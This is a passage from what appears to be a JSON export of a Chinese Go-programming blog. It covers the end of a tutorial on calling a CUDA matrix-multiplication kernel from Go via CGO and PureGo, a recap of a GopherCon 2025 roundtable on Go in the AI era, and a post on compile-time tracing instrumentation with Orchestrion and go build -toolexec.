**)\u0026amp;d_b, size); cudaMalloc((void **)\u0026amp;d_c, size); // 2. 将数据从 Host (CPU内存) 复制到 Device (GPU显存) // 这一步通常是性能瓶颈，应尽量减少 cudaMemcpy(d_a, h_a, size, cudaMemcpyHostToDevice); cudaMemcpy(d_b, h_b, size, cudaMemcpyHostToDevice); // 3. 定义 Grid 和 Block 维度 // 每个 Block 包含 16x16 = 256 个线程 dim3 threadsPerBlock(16, 16); // Grid 包含足够多的 Block 以覆盖整个矩阵 dim3 numBlocks((width + threadsPerBlock.x - 1) / threadsPerBlock.x, (width + threadsPerBlock.y - 1) / threadsPerBlock.y); // 4. 启动内核！成千上万个线程开始并行计算 matrixMulKernel\u0026lt;\u0026lt;\u0026lt;numBlocks, threadsPerBlock\u0026gt;\u0026gt;\u0026gt;(d_a, d_b, d_c, width); // 5. 将计算结果从 Device 传回 Host cudaMemcpy(h_c, d_c, size, cudaMemcpyDeviceToHost); // 6. 释放 GPU 内存 cudaFree(d_a); cudaFree(d_b); cudaFree(d_c); } } 3. 定义 C 头文件 (matrix.h) // matrix.h #ifndef MATRIX_H #define MATRIX_H void runMatrixMul(float *a, float *b, float *c, int width); #endif 4. 编写 Go 主程序 (main.go) 在 Go 代码中，我们准备数据，并通过 CGO 调用 runMatrixMul。\n// go-cuda-cgo-demo/main.go package main /* #cgo LDFLAGS: -L. -lmatrix -L/usr/local/cuda/lib64 -lcudart #include \u0026#34;matrix.h\u0026#34; */ import \u0026#34;C\u0026#34; import ( \u0026#34;fmt\u0026#34; \u0026#34;math/rand\u0026#34; \u0026#34;time\u0026#34; \u0026#34;unsafe\u0026#34; ) const width = 1024 // 矩阵大小 1024x1024，共 100万次计算 func main() { size := width * width h_a := make([]float32, size) h_b := make([]float32, size) h_c := make([]float32, size) // 初始化矩阵数据 rand.Seed(time.Now().UnixNano()) for i := 0; i \u0026lt; size; i++ { h_a[i] = rand.Float32() h_b[i] = rand.Float32() } fmt.Printf(\u0026#34;Starting Matrix Multiplication (%dx%d) on GPU...\\n\u0026#34;, width, width) start := time.Now() // 调用 CUDA 函数 // 使用 unsafe.Pointer 获取切片的底层数组指针，传递给 C C.runMatrixMul( (*C.float)(unsafe.Pointer(\u0026amp;h_a[0])), (*C.float)(unsafe.Pointer(\u0026amp;h_b[0])), (*C.float)(unsafe.Pointer(\u0026amp;h_c[0])), C.int(width), ) // 注意：在更复杂的场景中，需要使用 runtime.KeepAlive(h_a) // 来确保 Go GC 不会在 CGO 调用期间回收切片内存。 elapsed := time.Since(start) fmt.Printf(\u0026#34;Done. Time elapsed: %v\\n\u0026#34;, elapsed) // 简单验证：检查左上角元素 fmt.Printf(\u0026#34;Result[0][0] = %f\\n\u0026#34;, h_c[0]) } 5. 编译与运行 前提：确保你的机器安装了 NVIDIA Driver 和 CUDA Toolkit。nvcc是CUDA编译器工具链，可以将基于CUDA的代码翻译为GPU机器码。\n步骤一：编译 CUDA 代码\nnvcc -c matrix.cu -o matrix.o ar rcs libmatrix.a matrix.o 步骤二：编译 Go 程序\n# 链接本地的 libmatrix.a 和系统的 CUDA 运行时库 go build -o gpu-cgo-demo main.go 步骤三：运行\n./gpu-cgo-demo 预期输出：\nStarting Matrix Multiplication (1024x1024) on GPU... Done. Time elapsed: 611.815451ms Result[0][0] = 262.440918 性能优化——从能用到极致 代码跑通只是第一步。Sam 推荐使用 NVIDIA 的 Nsight Systems (nsys) 来进行性能分析。你会发现，虽然 GPU 计算极快，但PCIe 总线的数据传输往往是最大的瓶颈。\n优化黄金法则：\n减少传输：PCIe 很慢。尽量一次性将所有数据传给 GPU，让其进行多次计算，最后再取回结果。 利用共享内存 (Shared Memory)：Block 内的共享内存比全局显存快得多。在矩阵乘法中，可以利用它实现分块算法 (Tiling)，将小块矩阵加载到共享内存中复用，从而大幅减少显存带宽压力。 小结：Gopher 的新武器 Go + CUDA 的组合，为 Go 语言打开了一扇通往高性能计算的大门。它证明了 Go 不仅是编写微服务的利器，同样可以成为驾驭底层硬件、构建计算密集型应用的强大工具。如果你正在处理大规模数据，不妨尝试将计算任务卸载给 GPU，你会发现，那个熟悉的蓝色 Gopher，也能拥有令人惊叹的爆发力。\n资料链接：\nhttps://www.youtube.com/watch?v=d1R8BS-ccNk https://sam-burns.com/posts/gophercon-25-go-faster/#gophercon-2025-new-york 本文涉及的示例源码可以在这里下载。\n附录：告别 CGO？尝试 PureGo 的无缝集成 虽然 CGO 是连接 Go 和 C/C++ 的标准桥梁，但它也带来了编译速度变慢、工具链依赖等问题。有没有一种更“纯粹”的 Go 方式？\n答案是有的。借助 PureGo 库，我们可以在不开启 CGO 的情况下，直接加载动态链接库 (.so / .dll) 并调用其中的符号。\n让我们看看如何用 PureGo 重写上面的 main.go。\n1. 准备动态库 首先，我们需要将 CUDA 代码编译为共享对象 (.so)，而不是静态库。\n# 编译为共享库 libmatrix.so nvcc -shared -Xcompiler -fPIC matrix.cu -o libmatrix.so 2. 编写 PureGo 版主程序 (go-cuda-purego-demo/main.go) // go-cuda-purego-demo/main.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;math/rand\u0026#34; \u0026#34;runtime\u0026#34; \u0026#34;time\u0026#34; \u0026#34;github.com/ebitengine/purego\u0026#34; ) const width = 1024 func main() { // 1. 加载动态库 // 注意：在运行时，libmatrix.so 和 libcuder.so 必须在 LD_LIBRARY_PATH 中 libMatrix, err := purego.Dlopen(\u0026#34;libmatrix.so\u0026#34;, purego.RTLD_NOW|purego.RTLD_GLOBAL) if err != nil { panic(err) } // 还需要加载 CUDA 运行时库，因为 libmatrix 依赖它 _, err = purego.Dlopen(\u0026#34;/usr/local/cuda/lib64/libcudart.so\u0026#34;, purego.RTLD_NOW|purego.RTLD_GLOBAL) if err != nil { panic(err) } // 2. 注册 C 函数符号 var runMatrixMul func(a, b, c *float32, w int) purego.RegisterLibFunc(\u0026amp;runMatrixMul, libMatrix, \u0026#34;runMatrixMul\u0026#34;) // 3. 准备数据 (与 CGO 版本相同) size := width * width h_a := make([]float32, size) h_b := make([]float32, size) h_c := make([]float32, size) rand.Seed(time.Now().UnixNano()) for i := 0; i \u0026lt; size; i++ { h_a[i] = rand.Float32() h_b[i] = rand.Float32() } fmt.Println(\u0026#34;Starting Matrix Multiplication via PureGo...\u0026#34;) start := time.Now() // 4. 直接调用！无需 CGO 类型转换 runMatrixMul(\u0026amp;h_a[0], \u0026amp;h_b[0], \u0026amp;h_c[0], width) // 5. 极其重要：保持内存存活 // PureGo 调用是纯汇编实现，Go GC 无法感知堆栈上的指针引用 // 必须显式保活，否则在计算期间 h_a 等可能被 GC 回收！ runtime.KeepAlive(h_a) runtime.KeepAlive(h_b) runtime.KeepAlive(h_c) fmt.Printf(\u0026#34;Done. Time: %v\\n\u0026#34;, time.Since(start)) fmt.Printf(\u0026#34;Result[0][0] = %f\\n\u0026#34;, h_c[0]) } 3. 运行 # 无需 CGO，直接在go-cuda-purego-demo下运行 # 确保当前目录在 LD_LIBRARY_PATH 中 export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:. CGO_ENABLED=0 go run main.go Starting Matrix Multiplication via PureGo... Done. Time: 584.397195ms Result[0][0] = 260.088806 优势：\n编译飞快：没有 CGO 的编译开销。 零外部依赖：编译环境不需要安装 GCC 或 CUDA Toolkit，只要运行时环境有 .so 即可。这对于在轻量级 CI/CD 环境中构建分发包非常有用。 注意：PureGo 方案虽然优雅，但也失去了 CGO 的部分类型安全检查，且需要开发者更小心地管理内存生命周期 (runtime.KeepAlive)。\n你的“算力”狂想\nGo + GPU 的组合，打破了我们对 Go 应用场景的想象边界。在你的业务场景中，有没有哪些计算密集型的任务（比如图像处理、复杂推荐算法、密码学计算）是目前 CPU 跑不动的？你是否会考虑用这种“混合动力”方案来重构它？\n欢迎在评论区分享你的脑洞或实战计划！ 让我们一起探索 Go 的算力极限。\n如果这篇文章为你打开了高性能计算的大门，别忘了点个【赞】和【在看】，并转发给那个天天喊着“CPU 跑满了”的同事！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/21/integrating-cuda-in-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/integrating-cuda-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/21/integrating-cuda-in-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/21/integrating-cuda-in-go\"\u003ehttps://tonybai.com/2026/01/21/integrating-cuda-in-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e长期以来，高性能计算（HPC）和 GPU 编程似乎是 C++ 开发者的专属领地。Go 语言虽然在并发和服务端开发上表现卓越，但在触及 GPU 算力时，往往显得力不从心。\u003c/p\u003e","title":"当 Go 遇上 GPU：用 CUDA 释放千倍算力的实战指南"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/20/ai-and-go-opportunities-and-challenges\n大家好，我是Tony Bai。\n在 AI 的滔天巨浪面前，每一位 Go 开发者心中或许都曾闪过一丝不安：Python 似乎统治了一切，我的 Go 语言技能树还值钱吗？AI 会取代我写代码吗？我该如何在这个喧嚣的时代保持清醒？\n在 GopherCon 2025 的压轴圆桌会议上，一场名为“AI 与 Go：机遇与挑战”的深度对话给出了答案。\n嘉宾阵容堪称豪华(从左二到右分别是)：\nIan Cottrell: Google工程师，现从事 AI Agent 开发 Katie Hawkman: 前 Go 团队成员，现 Mercari 平台工程师 David Soria Parra: Anthropic 技术专家，MCP (Model Context Protocol) 联合创始人 Jaana Dogan: 前 Go团队成员，Google Gemini Serving 团队专家, adk-go项目成员 Samir Ajmani: Google Go 团队工程总监 他们没有贩卖焦虑，也没有盲目吹捧，而是用冷静、务实的工程师视角，为我们描绘了 Go 在 AI 时代的真实版图。\nGo 的新机遇：AI 基础设施的“基石” 当被问及“Go 能提供什么 Python以及其他编程语言 无法提供的价值”时，嘉宾们的回答出奇一致：生产级的可靠性与并发能力。\nSamir Ajmani 提出了一个精准的洞察：Go 的崛起得益于云原生时代的爆发，而 AI 正在带来“第二次云原生机遇”。\n现状：目前的 AI/ML 基础设施大量依赖 Python，适合快速原型和实验。 痛点：当这些原型需要走向大规模生产，需要处理高并发推理、构建复杂的 Agent 编排、或者实现像 MCP (Model Context Protocol) 这样需要高度可靠性的协议时，Python 的动态特性和性能瓶颈开始显现。 Go 的位置：Go 语言天生的高并发模型、静态类型安全、以及构建大规模分布式系统的基因，使其成为构建 AI 生产基础设施（Serving, Orchestration, Agent Protocols）的完美选择。 Katie 分享了一个真实案例：她在黑客马拉松中选择用 Go 而非 TypeScript 来编写 MCP Server，因为 Go 的代码在处理复杂协议逻辑时更易读、更易维护。\nDavid(Anthropic)就个人经验和观察，认为Go 是目前AI最擅长生成的语言代码之一，这也是Go的一大优势！\nPython 也许是 AI 的“训练语言”，但 Go 有望成为 AI 的**“运行语言”**。\n职业焦虑：AI 会取代我们吗？ 面对“AI 取代程序员”的言论，嘉宾们的态度是——“这只是另一种生产力工具，它改变了工作方式，但提升了人的价值。”\nSamir Ajmani：未来的软件构建方式可能会变成“组件组装”。但这依然需要懂系统设计、安全性和可靠性的专业人士来构建这些高质量的组件。对于初级开发者，门槛确实变高了（简单的代码生成不再是技能壁垒），但对于具备系统思维的工程师，这是最好的时代。 Jaana Dogan (Google)：她提出了一个令人耳目一新的视角——“代码写得快了，不仅没让我失业，反而让我更强大了。” AI 极大地缩短了编码时间，这意味着工程师可以更快地去“连接点” (connect the dots)：将孤立的组件串联成系统，与更多人协作，验证更多设计想法。个人的产出能力被放大了，你不再是一个单纯的“螺丝钉制造者”，而更容易成为一名“系统架构师”。 David Suryapara (Anthropic)：作为一名非 Go 核心开发者，David 的观察更为冷静。他认为，纯粹的“代码编写”技能（例如熟练背诵 API、手写 CSS）确实面临贬值。但核心工程能力——如拆解复杂需求、设计分布式系统、处理边缘情况——将变得前所未有的重要。 AI 抬高了入行的地板，但也让那些拥有深厚解决问题能力的工程师变得更加不可替代。 Katie Hawkman：写代码从来不是工作中“最难”的部分，而是“最有趣”的部分。真正的难点在于——如何渐进式交付？如何设计良好的 UX？如何优化系统性能？这些是 AI 短期内无法完全替代的工程智慧。 Ian Cottrell：我有 40 年的开发经验，每一次生产力工具的飞跃（从汇编到 C，从 IDE 到自动补全），人们都说“不需要程序员了”。结果呢？我们的需求量反而更大了。我们只是在提升期望值，尝试解决更难的问题。 不要试图成为每一个 AI 工具的专家。选择一个工具（如 Cursor 或 Claude Code），深入掌握它，让它服务于你的工作流，而不是被它淹没。\n理性审视：算力、能源与负责任的 AI 主持人提出了一个尖锐的问题：在区块链曾因高能耗饱受诟病之后，我们该如何理性看待 AI 巨大的算力和能源消耗？作为开发者，我们该如何权衡使用 AI 工具的成本？\n嘉宾们的回答，揭示了工程优化在 AI 时代的巨大潜力：\nSamir Ajmani (Google) 分享了一个令人振奋的实验：Go 团队尝试将 MCP 支持集成到 Go 语言服务器 (LSP) 中。结果发现，当 AI 能够直接调用精确的工具（Tools）而不是在那“空想”时，任务完成率提高了，延迟降低了，最重要的是——Token 消耗量减少了近 50%。 这意味着，通过优秀的工程工具（如 Go），我们可以显著降低 AI 的运行成本和碳排放。 Jaana Dogan (Google) 认为我们正处于优化的早期阶段。就像当年的数据库优化一样，模型推理 (Inference) 的效率优化将是接下来的重头戏。缓存、量化、专用硬件，这些工程手段将大幅抵消模型增长带来的成本。 David Suryapara (Anthropic) 提到了**“小模型与蒸馏”**。我们不需要每次都动用最昂贵、最慢的“超大模型”来解决所有问题。未来，针对特定领域（如代码生成）进行微调和蒸馏的小模型，将在效能和成本之间找到完美的平衡点。 不要盲目堆砌算力。“负责任的 AI”不仅是道德要求，更是工程优化的必然方向。 用更少的 Token 做更多的事，这本身就是 Go 开发者擅长的“资源优化”技能的延伸。\n务实派的生存指南：过滤噪音，回归本质 在 AI 炒作的喧嚣中，如何保持清醒？\n从“小”开始：不要被“AGI 即将到来”的宏大叙事吓倒。像 Katie 建议的那样，承认自己是初学者，哪怕是 MCP 的创始人也说“现在没有所谓的专家”。放下包袱，去尝试写一个简单的 Agent，去用 Go 写一个 MCP Server。 关注“确定性”：Jaana 和 Ian 都提到，AI 模型本质上是概率性的（非确定性），而工程系统需要确定性。Go 语言强大的静态分析、测试工具链和类型系统，是约束 AI 幻觉、构建可靠系统的最佳防线。用 Go 的“确定性”去包裹 AI 的“不确定性”，是未来的核心工程模式之一。 解决实际问题：不要为了 AI 而 AI。如果老板让你“加点 AI 进去”，试着去寻找那些真正能通过 AI 提升效率的痛点（比如自动化文档更新、复杂日志分析），而不是生搬硬套。 小结：Go 社区的“绿地”时刻 这场圆桌会议传递出的最强烈信号是：乐观。\n我们正处于一个类似于 2013 年 Docker 诞生前夜的时刻。AI 领域的“Kubernetes”、“Prometheus”还没有被写出来。这片巨大的空白，正是 Go 开发者施展拳脚的“绿地” (Greenfield)。\n正如 Samir 所言：\n“如果我想让 AI 真正能够与现实世界进行交易（比如订购 Pizza 并且真的送到），这中间需要大量的、可靠的基础设施。而 Go，是构建这一层的绝佳语言。”\n所以，Gopher 们，别慌。带上你的并发模型，带上你的工程智慧，去构建 AI 时代的钢铁地基吧。\n资料链接：https://www.youtube.com/watch?v=r40Mwdvg38M\n你的 AI 实践\n听了这些顶级专家的观点，你是否对 Go 在 AI 时代的未来更有信心了？在你目前的开发工作中，是否已经开始尝试用 Go 构建 AI 应用或基础设施？你认为 Go 在 AI 领域最大的短板是什么？\n欢迎在评论区分享你的实战经验或困惑！让我们一起探索 Go + AI 的无限可能。\n如果这篇文章为你扫除了职业焦虑，别忘了点个【赞】和【在看】，并转发给身边迷茫的 Gopher 朋友！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/20/ai-and-go-opportunities-and-challenges/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/ai-and-go-opportunities-and-challenges-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/20/ai-and-go-opportunities-and-challenges\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/20/ai-and-go-opportunities-and-challenges\"\u003ehttps://tonybai.com/2026/01/20/ai-and-go-opportunities-and-challenges\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在 AI 的滔天巨浪面前，每一位 Go 开发者心中或许都曾闪过一丝不安：Python 似乎统治了一切，我的 Go 语言技能树还值钱吗？AI 会取代我写代码吗？我该如何在这个喧嚣的时代保持清醒？\u003c/p\u003e","title":"AI 时代，Go 语言会“失宠”还是“封神”？—— GopherCon 2025 圆桌深度复盘"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/19/unleashing-the-go-toolchain\n大家好，我是Tony Bai。\n“Go 语言以简洁著称，但在可观测性（Observability）领域，这种简洁有时却是一种负担。手动埋点、繁琐的初始化代码、版本升级带来的破坏性变更……这些都让 Gopher 们痛苦不已。\n可观测性的三大支柱 相比之下，Java 和 Python 开发者享受着“零代码修改”的自动插桩福利。Go 开发者能否拥有同样的体验？\n在 GopherCon UK 2025 上，来自 DataDog 的资深工程师 Kemal Akkoyun 给出了肯定的答案。他通过挖掘 Go 工具链中一个鲜为人知的特性，不仅实现了这一目标，还将其开源为一个名为 Orchestrion 的工具。今天，就让我们一起揭秘这背后的“黑魔法”。\n痛点：Go 语言的“反自动化”体质 在 Go 中集成分布式追踪（如 OpenTelemetry），通常意味着你需要：\n手动修改代码：在 main 函数中初始化 Tracer Provider。 到处传递 Context：在每个函数签名中添加 ctx context.Context。 OpenTelemetry Go SDK难于集成。 样板代码爆炸：在每个关键路径上通过 defer span.End() 开启和结束 Span。 这种手动方式不仅效率低下，而且容易出错。如果有遗漏，追踪链路就会断裂；如果库升级，你可能需要重写大量代码。\n与 Java Agent 的字节码注入或 Python 的动态装饰器不同，Go 是静态编译语言，运行时极其简单，没有虚拟机层面的“后门”可走。这似乎是一个死局。\nGopher强烈希望 Go 也能像其他语言那样，轻松实现插桩从而注入追踪(trace)能力：\n破局：编译时“大挪移” Kemal 及其团队发现，Go 虽然没有运行时魔法，但在编译时却留了一扇窗：-toolexec 标志。\n$go help build|grep -A6 toolexec -toolexec \u0026#39;cmd args\u0026#39; a program to use to invoke toolchain programs like vet and asm. For example, instead of running asm, the go command will run \u0026#39;cmd args /path/to/asm \u0026lt;arguments for asm\u0026gt;\u0026#39;. The TOOLEXEC_IMPORTPATH environment variable will be set, matching \u0026#39;go list -f {{.ImportPath}}\u0026#39; for the package being built. 这是一个鲜为人知的 go build 参数。它允许你指定一个程序，拦截并包装构建过程中的每一个工具调用（如 compile、link、asm 等），让你可以在真正的compile、link 等之前对Go源码文件 (以compile等命令行工具的命令行参数形式传入) 做点什么。\n为了让大家直观感受 -toolexec 的作用，我们先来看一个最简单的“拦截器”示例。\n假设我们写了一个名为 mytool 的小程序，它的作用仅仅是打印出它接收到的命令，然后再原样执行该命令：\n// mytool.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;os\u0026#34; \u0026#34;os/exec\u0026#34; ) func main() { // 注意：将日志打印到 Stderr，避免干扰 go build 读取工具的标准输出（如 Build ID） fmt.Fprintf(os.Stderr, \u0026#34;[Interceptor] Running: %v\\n\u0026#34;, os.Args[1:]) // 原样执行被拦截的命令 cmd := exec.Command(os.Args[1], os.Args[2:]...) cmd.Stdout = os.Stdout cmd.Stderr = os.Stderr if err := cmd.Run(); err != nil { os.Exit(1) } } 现在，当我们使用 -toolexec 参数来编译一个普通的 Go 程序时：\n# 先编译我们的拦截器 go build -o mytool mytool.go # 使用拦截器来编译目标程序 go build -toolexec=\u0026#34;./mytool\u0026#34; main.go // 这里的main.go只是一个\u0026#34;hello, world\u0026#34;的Go程序 你会看到类似这样的输出：\n[Interceptor] Running: /usr/local/go/pkg/tool/darwin_amd64/compile -o ... [Interceptor] Running: /usr/local/go/pkg/tool/darwin_amd64/link -o ... 看到了吗？go build 并没有直接调用编译器，而是先调用了我们的 mytool，并将真正的编译器路径和参数作为参数传给了它。之后再调用回原命令，在上面示例执行完go build -toolexec=”./mytool” main.go后，我们同样看到了编译成功后的可执行二进制文件main。\n这就给了我们一个惊人的机会：既然我们拦截了编译指令，我们当然可以修改它，甚至修改它即将编译的源文件！\n但是，仅仅打印几个日志、拦截一下命令，离真正的“自动插桩”还有很远的距离。要在真实复杂的 Go 项目中，安全、准确地修改成千上万行代码，同时还要处理依赖管理、缓存失效、语法兼容等棘手问题，绝非易事。\n这正是 Orchestrion 登场的时刻。它不仅将 -toolexec 的潜力发挥到了极致，更将这套复杂的流程封装成了一个开箱即用的产品。\n深度解构：Orchestrion 的“编译时手术” Orchestrion 是什么？\n简单来说，它是 DataDog 开源的一个编译时自动插桩工具。它的名字来源于一种模仿管弦乐队声音的机械乐器（Orchestrion），寓意它能像指挥家一样，协调并增强你的代码，而无需你亲自演奏每一个音符。\n有了 -toolexec 这把钥匙，Orchestrion 就开启了一场编译时的“精密手术”。这不仅仅是简单的拦截，而是一场与 Go 编译器配合默契的“双人舞”。\n安装下面图片中步骤，你就可以自动完成对你的go程序的插桩：\nKemal 在演讲中展示了一个复杂的时序图，Orchestrion 的工作流远比我们想象的要精细：\n精准拦截： 当 go build 启动时，Orchestrion 守在门口。它并不关心链接器（linker）或汇编器（asm），它的目光紧紧锁定在 compile 命令上。每当 Go 编译器准备编译一个包（Package），Orchestrion 就会叫停。\nAST 级解析与“无损”操作： 它读取即将被编译的 .go 源文件，将其解析为 AST（抽象语法树）。\n手术式注入 (Injection)： 根据预定义的规则（YAML 配置），Orchestrion 开始在 AST 上动刀：\n* 添加 Import：自动引入 dd-trace-go 等依赖包。 * 函数入口插桩：在函数体的第一行插入 span, ctx := tracer.Start(…)。 * 函数出口兜底：利用 defer span.End() 确保追踪闭环。 甚至，它还能识别 database/sql 的调用，自动将其替换为带有追踪功能的 Wrapper。\n狸猫换太子： 手术完成后，Orchestrion 将修改后的 AST 重新生成为 .go 文件，保存在一个临时目录中。\n最后，它修改传递给编译器的参数，将原始源文件的路径替换为这些临时文件的路径。\n透明编译： 真正的 Go 编译器（compile）被唤醒，它毫不知情地编译了这些被“加料”的代码。\n最终生成的二进制文件，包含了完整的、生产级的可观测性代码，而你的源代码仓库里，依然是那份清清爽爽、没有任何第三方依赖的业务逻辑。\nOrchestrion：将“魔法”产品化 Orchestrion 不仅仅是一个概念验证，它是 DataDog 已经在生产环境中使用的成熟工具（现已捐赠给 OpenTelemetry 社区）。它解决了一系列工程难题：\n1. 像 AOP 一样思考 Orchestrion 引入了类似 AOP（面向切面编程） 的概念。通过 YAML 配置文件，你可以定义“切入点”（Join Points）和“建议”（Advice）。\n例如，你可以定义一条规则：\n切入点：所有调用 database/sql 包 Query 方法的地方。\n建议：在调用前后包裹一段计时和记录代码。\n2. 解决 Context 丢失的终极“黑魔法” Go 的许多老旧库或设计不规范的代码并没有在参数中传递 context.Context。为了在这些地方也能传递追踪 ID，Orchestrion 做了一件极其硬核的事情：它修改了 Go 的运行时（Runtime）！\n通过修改 runtime.g 结构体，它引入了类似 GLS (Goroutine Local Storage) 的机制。这允许在同一个 Goroutine 的不同函数调用栈之间隐式传递上下文，彻底解决了 Context 断链的问题。虽然这听起来很危险，但在受控的编译时注入环境下，它变得可行且强大。\n3. 零依赖与容器化友好 Orchestrion 支持通过环境变量注入。这意味着平台工程师可以构建一个包含 Orchestrion 的基础镜像，只需要在 CI/CD 流水线中设置几个环境变量，就可以让所有基于该镜像构建的 Go 应用自动获得可观测性能力，而无需应用开发者修改一行代码。\n未来：社区驱动的标准 DataDog 已将 Orchestrion 捐赠给 OpenTelemetry，并与阿里巴巴（其有类似的 Go 自动插桩工具）合作，共同在 OpenTelemetry Go SIG 下推进这一技术的标准化。\n这意味着，未来 Go 开发者可能只需要执行类似 otel-go-instrument my-app 的命令，就能获得与 Java/Python 同等便捷的监控体验。\n小结：工具链的无限可能 Kemal 的演讲不仅展示了一个工具，更展示了一种思维方式：当语言本身的特性限制了你时，不妨向下看一层，去挖掘工具链本身的潜力。\n虽然“编译时注入”听起来像是一种对 Go 简洁哲学的“背叛”，但在解决大规模微服务治理、遗留代码维护等现实难题时，它无疑是一剂强有力的解药。\n对于那些渴望从重复劳动中解脱出来的 Gopher 来说，这或许就是你们一直在等待的“魔法”。\n参考资料 https://www.youtube.com/watch?v=8Rw-fVEjihw https://www.datadoghq.com/blog/go-instrumentation-orchestrion/ https://x.com/felixge/status/1865034549832368242 https://github.com/DataDog/orchestrion https://datadoghq.dev/orchestrion/docs/architecture https://github.com/open-telemetry/opentelemetry-go-compile-instrumentation 你的插桩之痛\n自动插桩无疑是未来的方向。**在你的项目中，目前是如何处理链路追踪埋点的？是忍受手动埋点的繁琐，还是已经尝试过类似的自动化工具？你对\n这种修改 AST 甚至 Runtime 的“黑魔法”持什么态度？**\n欢迎在评论区分享你的看法或踩坑经历！ 让我们一起探索 Go 可观测性的最佳实践。\n如果这篇文章为你打开了 Go 编译工具链的新大门，别忘了点个【赞】和【在看】，并转发给你的架构师朋友，让他也来学两招！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/19/unleashing-the-go-toolchain/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/unleashing-the-go-toolchain-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/19/unleashing-the-go-toolchain\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/19/unleashing-the-go-toolchain\"\u003ehttps://tonybai.com/2026/01/19/unleashing-the-go-toolchain\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e“Go 语言以简洁著称，但在可观测性（Observability）领域，这种简洁有时却是一种负担。手动埋点、繁琐的初始化代码、版本升级带来的破坏性变更……这些都让 Gopher 们痛苦不已。\u003c/p\u003e","title":"Go 语言的“魔法”时刻：如何用 -toolexec 实现零侵入式自动插桩？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/18/go-cryptography-principles\n大家好，我是Tony Bai。\n在软件工程领域，密码学（Cryptography）通常被视为“高危禁区”。大多数语言的建议都是“不要自己写密码学代码”，甚至“不要自己组合密码学原语”。\n然而，Go 语言打破了这一魔咒。Go 的标准库 crypto/… 以及扩展库 golang.org/x/crypto/… 